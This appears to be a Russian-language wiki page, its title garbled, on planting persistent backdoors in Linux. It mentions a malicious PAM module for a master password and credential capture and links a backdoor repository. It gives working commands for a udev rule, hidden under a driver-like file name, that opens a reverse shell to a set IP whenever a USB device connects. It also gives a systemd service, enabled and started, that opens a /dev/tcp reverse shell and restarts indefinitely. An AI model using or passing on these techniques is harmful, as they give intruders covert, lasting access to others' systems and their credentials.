????????? ????????? ????????????????? ?? ?????? PAM

PAM (Pluggable Authentication Modules, подключаемые модули аутентификации) — разделяемые библиотеки, используемые для
реализации произвольных методов аутентификации в виде единого API. Внедрение вредоносного модуля позволяет добавить
мастер-пароль и перехватить учетные данные. Пример бэкдора:

https://github.com/ociredefz/pambd/

Внедрение бэкдоров в драйверы

Для запуска бэкдора при подключении какого-либо устройства можно использовать каталог /etc/udev/rules.d/, в котором хранятся правила для обработки событий устройств. Изменяя эти правила, можно переименовать устройство, настроить права доступа к нему, но самое главное, что нас интересует — выполнить скрипт при подключении устройства.

```
RSHELL="0<&196;exec 196<>/dev/tcp/192.168.0.177/9001; sh <&196 >&196 2>&196"
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee
/etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
```

В таком случае при подключении к машине USB-устройства порт выполнится скрипт RSHELL для предоставления доступа вашей машине в сети.

Внедрение бекдоров в службы автозапуска (использование systemd)

systemd — это системный инициализатор и менеджер служб для операционных систем Linux. Он является заменой для более старой системы инициализации SysVinit и предоставляет целый набор функциональных возможностей для управления и контроля запуска служб и процессов в Linux-системе.

Systemd также имеет ряд дополнительных функций, включая событийную систему, журналирование и мониторинг процессов,
управление сетевыми интерфейсами и сетевыми соединениями, управление контейнерами и многие другие.

Пример создания сервиса:

```
[Unit]
Description=Backdoor
After=network.target ssh.service

[Service]
Type=simple
PIDFile=/var/run/backdoor.pid
ExecStart=sh -i >& /dev/tcp/192.168.0.177/9001 0>&1"
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
```

Расположить его в файле:

```
/lib/systemd/system/backdoor.service
```

Запустить его командами:

```
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service
```

Revision #1
Created 6 October 2025 15:48:43 by Admin
Updated 6 October 2025 15:52:47 by Admin